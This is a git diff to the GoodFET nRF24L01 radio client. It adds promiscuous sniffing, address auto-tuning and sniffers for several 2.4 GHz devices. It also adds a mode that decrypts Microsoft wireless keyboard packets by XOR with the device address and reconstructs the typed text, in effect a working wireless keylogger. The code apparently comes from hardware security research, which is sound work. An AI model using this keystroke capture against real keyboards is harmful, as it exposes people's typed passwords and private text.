X-Git-Url: http://git.rot13.org/?p=goodfet;a=blobdiff_plain;f=client%2Fgoodfet.nrf;h=1e2a416cae1280d9430644f9638e37f4b4f1c704;hp=14f3e9bf95b0987b0db9697fcb9cf38200e1b5c6;hb=053fca013042a25eecdae93dc08955d6cc106468;hpb=a84301b1952e524c5ebc4731cddc6b0ec406a9a8;ds=sidebyside

diff --git a/client/goodfet.nrf b/client/goodfet.nrf
index 14f3e9b..1e2a416 100755
--- a/client/goodfet.nrf
+++ b/client/goodfet.nrf
@@ -18,7 +18,7 @@ regnames=["CONFIG","EN_AA","EN_RXADDR","SETUP_AW","SETUP_RET",
           "TX_ADDR",
           "RX_PW_P0","RX_PW_P1","RX_PW_P2","RX_PW_P3","RX_PW_P4","RX_PW_P5",
           "FIFO_STATUS","?",
-          "?","?","DYNPD","?","?","?","?","?",
+          "?","?","?","DYNPD","FEATURE","AGC_CONFIG","?","?",
           "?","?","?","?","?","?","?","?"];
 
 def printpacket(packet):
@@ -28,8 +28,71 @@ def printpacket(packet):
         i=i+1;
         if i>client.packetlen: break;
         s="%s %02x" % (s,ord(foo));
-    print "%s" %s;
+    print "%s" % s;
 
+
+mskbstring="";
+oldseq=-1;
+def printmspacket(packet,offset=1):
+    """Decodes a Microsoft keyboard packet and maintains the typed strings."""
+    global mskbstring, oldseq;
+    keyword=client.RF_getsmac();
+    #print "keyword=%010x" % key;
+    key=[];
+    ct=[];
+    for foo in range(0,5):
+        key.append(keyword&0xFF);
+        keyword=(keyword>>8);
+        #print "Keybyte %02x" % key[foo];
+    i=0;
+    s="";
+    
+    for foo in packet:
+        if i>=4:
+            ct.append(ord(foo)^key[(i+offset)%5]);
+            s="%s %02x" % (s,ord(foo)^key[(i+offset)%5]);
+        else:
+            ct.append(ord(foo));
+            s="%s %02x" % (s,ord(foo));
+        i=i+1;
+    #Uncomment this to print the raw packet, kinda noisy.
+    print "%s" % (s);
+    
+    letter=None;
+    seq=ct[4];
+    if ct[0]==0x0a and ct[1]==0x78 and seq!=oldseq:
+        oldseq=seq;
+        #TODO replace this with a dictionary, and support modifiers.
+        if ct[9]==0:
+            #Key up event, not worth logging.
+            pass;
+        elif ct[9]>=4 and ct[9]<0x1E:
+            letter=ct[9]+ord('A')-4;
+        elif ct[9]>=0x1E and ct[9]<0x27:
+            letter=ct[9]+ord('1')-0x1E;
+        elif ct[9]==0x27:
+            letter=ord('0');
+        elif ct[9]==0x29:
+            #escape
+            letter=ord('e');
+        elif ct[9]==0x2d:
+            letter=ord('-');
+        elif ct[9]==0x2e:
+            letter=ord('=');
+        elif ct[9]==0x35:
+            letter=ord('`');
+        elif ct[9]==0x2C:
+            letter=ord('_');
+        elif ct[9]==0x34:
+            letter=ord('\'');
+        elif ct[9]==0x36:
+            letter=ord(',');
+        else:
+            print "Unknown character 0x%02x." % ct[9];
+            letter=ord('?');
+    if letter!=None:
+        mskbstring="%s%c" % (mskbstring,letter);
+    print "# %s" % mskbstring
 def printconfig():
     print "Encoding %s" % client.RF_getenc();
     print "Freq    %10i MHz" % (client.RF_getfreq()/10**6);
@@ -45,10 +108,20 @@ if(len(sys.argv)==1):
     print "%s info" % sys.argv[0];
     print "%s test" % sys.argv[0];
     print "%s regs" % sys.argv[0];
+    print "%s regbits" % sys.argv[0];
     print "%s pyregs" % sys.argv[0];
+    print "";
+    print "%s tune aa|55,mac,r5,r6\n\tTunes to a configuration." % sys.argv[0];
     print "%s sniff\n\tSniffs packets by current config." % sys.argv[0];
     print "%s sniffob\n\tSniffs OpenBeacon traffic." % sys.argv[0];
-    print "%s snifftp\n\tSniffs Tunrning Point Clicker traffic." % sys.argv[0];
+    print "%s snifftp\n\tSniffs Turning Point Clicker traffic." % sys.argv[0];
+    print "%s sniffsf\n\tSniffs SparkFun Dongle traffic." % sys.argv[0];
+    print "%s sniffmskb\n\tSniffs Microsoft Keyboard traffic." % sys.argv[0];
+    print "";
+    print "%s sniffmacs \n\tSniffs for MAC addresses on the present channel." % sys.argv[0];
+    print "%s sniffprom [0xaa|0x55]\n\tSniffs promiscuously for a preamble of 0xAA or 0x55" % sys.argv[0];
+    print "%s autotune\n\tSearches for a valid destination address." % sys.argv[0];
+    print "";
     print "%s carrier [freq]\n\tHolds a carrier on [freq] Hz." % sys.argv[0];
     sys.exit();
 
@@ -87,7 +160,7 @@ if(sys.argv[1]=="test"):
         print "ERROR: Failed to set MAC address.";
     print "Final registers:"
     printconfig();
-    
+
 if(sys.argv[1]=="carrier"):
     if len(sys.argv)>2:
         client.RF_setfreq(eval(sys.argv[2]));
@@ -96,6 +169,12 @@ if(sys.argv[1]=="carrier"):
     print "\nHolding a carrier wave.";
     while(1):
         time.sleep(1);
+
+if(sys.argv[1]=="tune"):
+    if len(sys.argv)>2:
+        client.tune(sys.argv[2]);
+    else:
+        print "Specify a tuning, such as 'aa,c78c65805e,14,09'";
 if(sys.argv[1]=="regs"):
     for r in range(0,0x20):
         print "r[0x%02x]=0x%010x //%16s " % (r,client.peek(r),regnames[r]);
@@ -161,7 +240,23 @@ if(sys.argv[1]=="sniffob"):
             packet=client.RF_rxpacket();
         printpacket(packet);
         sys.stdout.flush();
-if(sys.argv[1]=="snifftp"):
+
+if(sys.argv[1]=="regbits"):
+    print "Scanning registers to determine which bits are valid."
+    regbits=range(0,0x30);
+    for r in range(0,0x30):
+        old=client.peek(r);
+        #Which bits can be set?
+        client.poke(r,0xFF);
+        ones=client.peek(r);
+        #Which bits can be clear?
+        client.poke(r,0x00);
+        zeroes=client.peek(r);
+        regbits[r]=(ones & (~zeroes));
+    for r in range(0,0x30):
+        if regbits[r]!=0:
+            print "r[0x%02x] masked %02x // %s" % (r,regbits[r], regnames[r]);
+if(sys.argv[1]=="sniffprom"):
     #Reversal of transmitter code from nRF_CMD.c of OpenBeacon
     #TODO remove all poke() calls.
     
@@ -169,24 +264,449 @@ if(sys.argv[1]=="snifftp"):
     client.poke(0x01,0x00); #Disable Shockburst
     client.poke(0x02,0x01); #Set RX Pipe 0
     
-    client.RF_setfreq((2400+0x29) * 10**6);
-    client.poke(0x06,0x00); #1Mbps
+    #client.RF_setfreq(2481 * 10**6);
+    #client.poke(0x06,0x09); #2MBps, -18dBm in RF_SETUP
     client.poke(0x07,0x78); #Reset status register
     
     #OpenBeacon defines these in little endian as follows.
-    client.RF_setmaclen(3); # SETUP_AW for 3-byte addresses.
-    client.RF_setsmac(0x123456);
-    #'O', 'C', 'A', 'E', 'B'
-    client.RF_settmac(0x424541434F);
+    client.RF_setmaclen(2); # SETUP_AW for shortest
+    
+    #It's better to have a known fragment, when one is available.
+    #client.RF_setsmac(0x00AA);
+    #client.RF_setsmac(0x0055);
+    
+    #Should end in 55 or AA depending upon the packet.
+    tail=0x55
+    if(len(sys.argv)>2):
+        tail=int(sys.argv[2],16);
+    else:
+        print "Please specify a tail of 0xAA or 0x55.";
+        sys.exit(1);
+    client.RF_setsmac(tail);
+    
+    #Longest length.
+    client.RF_setpacketlen(32);
+    
+    #Power radio, prime for RX, no checksum
+    client.poke(0x00,0x70|0x03); #0x08 for checksum, 0x04 for two.
+    
+    print "Listening as %010x on %i MHz" % (client.RF_getsmac(),
+                                           client.RF_getfreq()/10**6);
+    #Now we're ready to get packets.
+    while 1:
+        packet=None;
+        while packet==None:
+            #time.sleep(0.1);
+            packet=client.RF_rxpacket();
+        printpacket(packet);
+        sys.stdout.flush();
+
+class AutoTuner():
+    """This guesses addresses by searching through packets."""
+    addresses={};
+    client=None;
+    
+    #Limits on search space, because you usually know what you're looking for.
+    rate=False;
+    chan=False;
+    sync=False;
+    macreject=False;
+    printing=False;
+    startch=0; #Useful for forcing an early match.
+    def init(self,goodfet,
+             rate=True,chan=True,sync=True, macreject=True, printing=False):
+        """Initializes a link to the GoodFET for autotuning."""
+        self.client=goodfet;
+        self.rate=rate;
+        self.chan=chan;
+        self.sync=sync;
+        self.macreject=macreject;
+        self.printing=printing;
+        
+        client.poke(0x00,0x00); #Stop nRF
+        client.poke(0x01,0x00); #Disable Shockburst
+        client.poke(0x02,0x01); #Set RX Pipe 0
+        
+        #Disable shockburst.
+        client.poke(0x1C,0x00);
+        client.poke(0x1D,0x00);
+        
+        client.RF_setmaclen(2); # SETUP_AW for shortest
+        
+        #historic
+        #client.RF_setsmac(0x00AA);
+        #client.RF_setsmac(0x0055);
+        
+        client.poke(0x00,0x70|0x03); #prime radio.
+        
+        return;
+    def packetaddr(self,packet,justmac=False):
+        """Returns a loaded packet address, including channel and rate."""
+        
+        sync=self.client.RF_getsmac()&0xFF;
+        
+        mac="";
+        #MAC,RF_CH,RATE
+        for i in range(0,5):
+            mac="%s%02x" % (mac,ord(packet[i]));
+        if justmac:
+            return mac;
+        ch=self.client.peek(0x05);
+        rate=self.client.peek(0x06);
+        return "%02x,%s,%02x,%02x" % (
+            sync,mac,ch,rate);
+    def validmac(self,packet):
+        sync=self.client.RF_getsmac()&0xFF;
+        mac=self.packetaddr(packet,justmac=True);
+        
+        #BT preamble is A or 5.
+        #Fix this to work on the smallest bit, not the highest.
+        if ((ord(packet[0])&0x80)^(sync&0x80)) and self.macreject:
+            #print "%02x%02x invalid entry." % (sync,ord(packet[0]));
+            #This is a special kind of failure.  Freq is probably right, but MAC is wrong.
+            return False;
+        if mac=='5555555555' or mac=='aaaaaaaaaa' or mac=='0000000000' or mac=='ffffffffff':
+            return False;
+        return True;
+        
+    def handle(self,packet):
+        """Handles a packet."""
+        if self.printing:
+            printpacket(packet);
+        
+        if not self.validmac(packet):
+            #print "Dropped packet from %s" % self.packetaddr(packet,justmac=True);
+            #printpacket(packet);
+            return;
+        
+        addr=self.packetaddr(packet);
+        
+        #Increment the address count.
+        count=0;
+        try:
+            count=self.addresses[addr];
+        except:
+            pass;
+        self.addresses[addr]=count+1;
+        rate=count*1.0/len(self.addresses);
+        if self.addresses[addr]>1 or rate>0.01:
+            print "'%s' looks valid\t%i\t%0.5f" % (
+                addr,count,rate);
+        return addr;
+    tunecount=0;
+    def selftune(self,threshold=2,forever=False,
+                 delay=5.0):
+        """Tunes to the first strong signal.
+        It's important that this not get triggered by false positives."""
+        
+        while 1:
+            self.retune();
+            start=time.mktime(time.localtime());
+            sys.stdout.flush();
+            while (time.mktime(time.localtime())-start) < delay:
+                packet=None;
+                while packet==None:
+                    packet=client.RF_rxpacket();
+                addr=guesser.handle(packet);
+                try:
+                    count=self.addresses[addr];
+                except:
+                    count=0;
+                if count>threshold and forever==False:
+                    #Tune it in here?
+                    client.tune(addr);
+                    return addr;
+            
+        
+    def retune(self):
+        """Tunes to another channel or preamble looking for the next packet."""
+        count=self.tunecount;
+        self.tunecount=count+1;
+        
+        #Swap the SYNC value most often.
+        if self.sync:
+            sync=0x00AA;
+            if count&1:
+                sync=0x0055;
+            self.client.RF_setsmac(sync);
+            count=(count>>1);
+        
+        if self.rate:
+            #Then the data rate.
+            rate=0;
+            
+            #This swaps between 1Mbps and 2Mbps.
+            #TODO add support for 256kbps, if anyone uses it.
+            if count&1:
+                rate=rate|0x08;
+            #print "Setting rate to 0x%02x" % rate;
+            if(rate==0x20):
+                rate=0x08;
+            self.client.poke(0x06,rate);
+            count=(count>>1);
+        
+        if self.chan:
+            self.client.poke(0x05,
+                             (count+self.startch)&0x7f);
+            print "Tuned to %i MHz" % (
+                self.client.RF_getfreq()
+                /(10**6));
+        #Grab two packets to clear buffers.
+        #Should retune only after a few packets to reduce this delay.
+        packet=client.RF_rxpacket();
+        packet=client.RF_rxpacket();
+        return;
+        
+        
+if(sys.argv[1]=="autotune"):
+    #Reversal of transmitter code from nRF_CMD.c of OpenBeacon
+    #TODO remove all poke() calls.
+    guesser=AutoTuner();
+    guesser.init(client,rate=True,sync=True,chan=True);
+    
+    
+    #client.RF_setfreq(2481 * 10**6);
+    client.poke(0x06,0x09); #2MBps, -18dBm in RF_SETUP
+    client.poke(0x07,0x78); #Reset status register
+    
+    #This is determined by the MAC, which we don't yet know.
+    
+    #Longest length.
+    client.RF_setpacketlen(32);
+    
+    #Power radio, prime for RX, no checksum
+    client.poke(0x00,0x70|0x03); #0x08 for checksum, 0x04 for two.
+    
+    print "Autotuning on %i MHz" % (
+        client.RF_getfreq()/10**6);
+    print "sync,mac,r5,r6";
+    #Now we're ready to get packets.
+    guesser.selftune(threshold=2,
+                     forever=True);
+
+if(sys.argv[1]=="autotunebt"):
+    #Reversal of transmitter code from nRF_CMD.c of OpenBeacon
+    #TODO remove all poke() calls.
+    guesser=AutoTuner();
+    guesser.init(client,rate=True,sync=False,chan=True,
+                 macreject=False, printing=True);
+    
+    
+    #client.RF_setfreq(2481 * 10**6);
+    client.poke(0x06,0x00); #1MBps
+    client.poke(0x07,0x78); #Reset status register
+    
+    #Bluetooth preamble is 0xA; BTLE is 0xAA.
+    client.RF_setsmac(0x000A);
+    
+    #Longest length.
+    client.RF_setpacketlen(32);
+    
+    #Power radio, prime for RX, no checksum
+    client.poke(0x00,0x70|0x03); #0x08 for checksum, 0x04 for two.
+    
+    print "Autotuning on %i MHz" % (
+        client.RF_getfreq()/10**6);
+    print "sync,mac,r5,r6";
+    #Now we're ready to get packets.
+    guesser.selftune(threshold=2,
+                     forever=True);
+
+if(sys.argv[1]=="sniffmacs"):
+    #Reversal of transmitter code from nRF_CMD.c of OpenBeacon
+    #TODO remove all poke() calls.
+    guesser=AutoTuner();
+    guesser.init(client,rate=False,sync=True,chan=False);
+    
+    #Longest length.
+    client.RF_setpacketlen(32);
+    
+    #Power radio, prime for RX, no checksum
+    client.poke(0x00,0x70|0x03); #0x08 for checksum, 0x04 for two.
+    
+    print "Holding autotune on %i MHz" % (
+        client.RF_getfreq()/10**6);
+    print "sync,mac,r5,r6";
+    #Now we're ready to get packets.
+    guesser.selftune(threshold=2,
+                     forever=True);
+
+if(sys.argv[1]=="sniffmskb"):
+    #MSWK 3000 v2.0
+    #TODO remove all poke() calls.
+    
+    client.poke(0x00,0x00); #Stop nRF
+    client.poke(0x01,0x00); #Disable Shockburst
+    client.poke(0x02,0x01); #Set RX Pipe 0
+    
+    client.poke(0x06,0x09); #2MBps, -18dBm in RF_SETUP
+    client.poke(0x07,0x78); #Reset status register
+    
+    #This is the address of a specific keyboard.
+    #Other keyboards will be different.
+    
+    client.RF_setmaclen(5);
+    
+    #Known pairs.  The channel and the low address bytes must match.
+    #client.RF_setfreq((2400+0x13) * 10**6);
+    #client.RF_setsmac(0xc00a3598cd);
+    
+    #client.RF_setfreq((2400+0x15) * 10**6);
+    #client.RF_setsmac(0xc10446facd);
+    
+    #Mac packet length, illegally 0-length address field.
+    client.RF_setpacketlen(16);
+    
+    #aa,c00a3598cd,13,09
+    if len(sys.argv)>2:
+        client.tune(sys.argv[2]);
+    else:
+        
+        print "Searching for a keyboard.";
+        
+        guesser=AutoTuner();
+        guesser.init(client, rate=False, sync=True, chan=True);
+        guesser.selftune(threshold=4,forever=False,
+                         delay=10.0);
+    
+    client.poke(0x00,0x00); #Stop nRF
+    client.poke(0x01,0x00); #Disable Shockburst
+    client.poke(0x02,0x01); #Set RX Pipe 0
+    client.RF_setmaclen(5);
+    
+    #Finally, dynamic payload lengths need to be enabled.
+    #client.poke(0x01,0x01);
+    client.poke(0x1C,0x01);
+    client.poke(0x1D,0x06);
+    
+    client.poke(0x00,0x70|0x03); #prime radio.
+    print "Listening as %010x on %i MHz" % (client.RF_getsmac(),
+                                           client.RF_getfreq()/10**6);
+    #Now we're ready to get packets.
+    while 1:
+        packet=None;
+        while packet==None:
+            #time.sleep(1);
+            packet=client.RF_rxpacket();
+            #print ".";
+        printmspacket(packet);
+        sys.stdout.flush();
+
+if(sys.argv[1]=="sniffant"):
+    #Prototyped on Garmin device.
+    #Channel hopping is pretty damned fast, hard to follow.
+    #This doesn't really work yet, still experimenting.
+    
+    #Might be more effective to sniff knowing the MFG ID and Dev. ID,
+    #as these predict a lot of the MAC address.
+    
+    client.poke(0x00,0x00); #Stop nRF
+    client.poke(0x01,0x00); #Disable Shockburst
+    client.poke(0x02,0x01); #Set RX Pipe 0
+    
+    client.poke(0x05,57); #broadcast-only channel
+    client.poke(0x06,0x00); #1MBps
+    client.poke(0x07,0x78); #Reset status register
+    
+    #Is this appropriate?  Might be 3.
+    client.RF_setmaclen(5);
+    
+    
+    #Mac packet length, illegally 0-length address field.
+    client.RF_setpacketlen(16);
+    
+    if len(sys.argv)>2:
+        client.tune(sys.argv[2]);
+    else:
+        
+        print "Searching for ANT+.";
+        
+        guesser=AutoTuner();
+        guesser.init(client, rate=False, sync=True, chan=True);
+        guesser.selftune(threshold=2,forever=False,
+                         delay=9.0);
+    
+    client.poke(0x00,0x00); #Stop nRF
+    client.poke(0x01,0x00); #Disable Shockburst
+    client.poke(0x02,0x01); #Set RX Pipe 0
+    client.RF_setmaclen(5);
+    
+    
+    client.poke(0x00,0x70|0x03); #prime radio.
+    print "Dumping ANT as %010x on %i MHz" % (client.RF_getsmac(),
+                                              client.RF_getfreq()/10**6);
+    #Now we're ready to get packets.
+    while 1:
+        packet=None;
+        while packet==None:
+            #time.sleep(1);
+            packet=client.RF_rxpacket();
+            #print ".";
+        printpacket(packet);
+        sys.stdout.flush();
+
+
+
+
+if(sys.argv[1]=="sniffsf"):
+    #Reversal of transmitter code from nRF_CMD.c of OpenBeacon
+    #TODO remove all poke() calls.
+    
+    client.poke(0x00,0x00); #Stop nRF
+    client.poke(0x01,0x00); #Disable Shockburst
+    client.poke(0x02,0x01); #Set RX Pipe 0
+    
+    client.RF_setfreq(2402 * 10**6);
+    client.poke(0x06,0x07); #1Mbps
+    client.poke(0x07,0x78); #Reset status register
+    
+    #OpenBeacon defines these in little endian as follows.
+    client.RF_setmaclen(5); # SETUP_AW for 5-byte addresses.
+    client.RF_setsmac(0xe7e7e7e7e7);
+    client.RF_settmac(0xe7e7e7e7e7);
     
     #Set packet length of 16.
-    client.RF_setpacketlen(6);
+    client.RF_setpacketlen(4);
     
     #Power radio, prime for RX, one-byte checksum.
-    client.poke(0x00,0x70|0x03); #| with 0x08 for one byte, 0x04 for two.
+    client.poke(0x00,0x70|0x03|0x08); #0x08 for one byte, 0x04 for two.
+    
+    print "Listening as %010x on %i MHz" % (client.RF_getsmac(),
+                                           client.RF_getfreq()/10**6);
+    #Now we're ready to get packets.
+    while 1:
+        packet=None;
+        while packet==None:
+            #time.sleep(0.1);
+            packet=client.RF_rxpacket();
+        printpacket(packet);
+        sys.stdout.flush();
+
+if(sys.argv[1]=="sniffnike"):
+    #TODO remove all poke() calls.
+    
+    client.poke(0x00,0x00); #Stop nRF
+    client.poke(0x01,0x00); #Disable Shockburst
+    client.poke(0x02,0x01); #Set RX Pipe 0
+    
+    client.RF_setfreq(2425 * 10**6);
+    client.poke(0x06,0x20|0x06); #250 kbps
+    client.poke(0x07,0x78); #Reset status register
+    
+    #Nike Settings
+    client.RF_setmaclen(2); # Illegal by datasheet, but it works!
+    client.RF_setsmac(0xc2bd);
+    client.RF_settmac(0xc2bd); #Should we forge data?
+    
+    client.RF_setpacketlen(32); #No idea what the length is.
+    
+    #Power radio, prime for RX, two-byte checksum.
+    client.poke(0x00,0x70|0x03); #0x08 for checksum, 0x04 for two bytes.
     
     print "Listening as %010x on %i MHz" % (client.RF_getsmac(),
                                            client.RF_getfreq()/10**6);
+    print "Expect some false-positives.";
+    
     #Now we're ready to get packets.
     while 1:
         packet=None;
@@ -196,12 +716,53 @@ if(sys.argv[1]=="snifftp"):
         printpacket(packet);
         sys.stdout.flush();
 
+if(sys.argv[1]=="snifftp"):
+    client.poke(0x00,0x00); #Stop nRF
+    client.poke(0x01,0x00); #Disable Shockburst
+    client.poke(0x02,0x01); #Set RX Pipe 0
+    
+    #Disable shockburst.
+    client.poke(0x1C,0x00);
+    client.poke(0x1D,0x00);
+    
+    client.RF_setfreq((2400+0x29) * 10**6);
+    client.poke(0x06,0x00); #1Mbps
+    client.poke(0x07,0x78); #Reset status register
+    
+    client.RF_setmaclen(3); # SETUP_AW for 3-byte addresses.
+    client.RF_setsmac(0x123456);
+    client.RF_setpacketlen(4);
+    
+    #Power radio, prime for RX, two-byte checksum.
+    client.poke(0x00,0x70|0x03|0x04|0x08);
+    
+    print "Listening as %010x on %i MHz" % (client.RF_getsmac(),
+                                           client.RF_getfreq()/10**6);
+    #Now we're ready to get packets.
+    while 1:
+        packet=None;
+        while packet==None:
+            #time.sleep(0.1);
+            packet=client.RF_rxpacket();
+        printpacket(packet);
+        sys.stdout.flush();
+
+
 if(sys.argv[1]=="sniff"):
+    if len(sys.argv)>2:
+        print "Set MAC to %s" % sys.argv[2];
+        client.tune(sys.argv[2]);
+        client.RF_setmaclen(5);
+        
     #client.poke(0x00,0x00); #Stop nRF
     client.poke(0x07,0x78); #Reset status register
     
-    #Power radio, prime for RX, checksum.
-    client.poke(0x00,0x70|0x03|0x08);
+    #Power radio, prime for RX, no checksum.
+    client.poke(0x00,0x70|0x03);
+    #Mac packet length.
+    client.RF_setpacketlen(32);
+    #Mac length, reduced
+    #client.RF_setmaclen(3); # SETUP_AW for shortest
     
     print "Listening as %010x on %i MHz" % (client.RF_getsmac(),
                                            client.RF_getfreq()/10**6);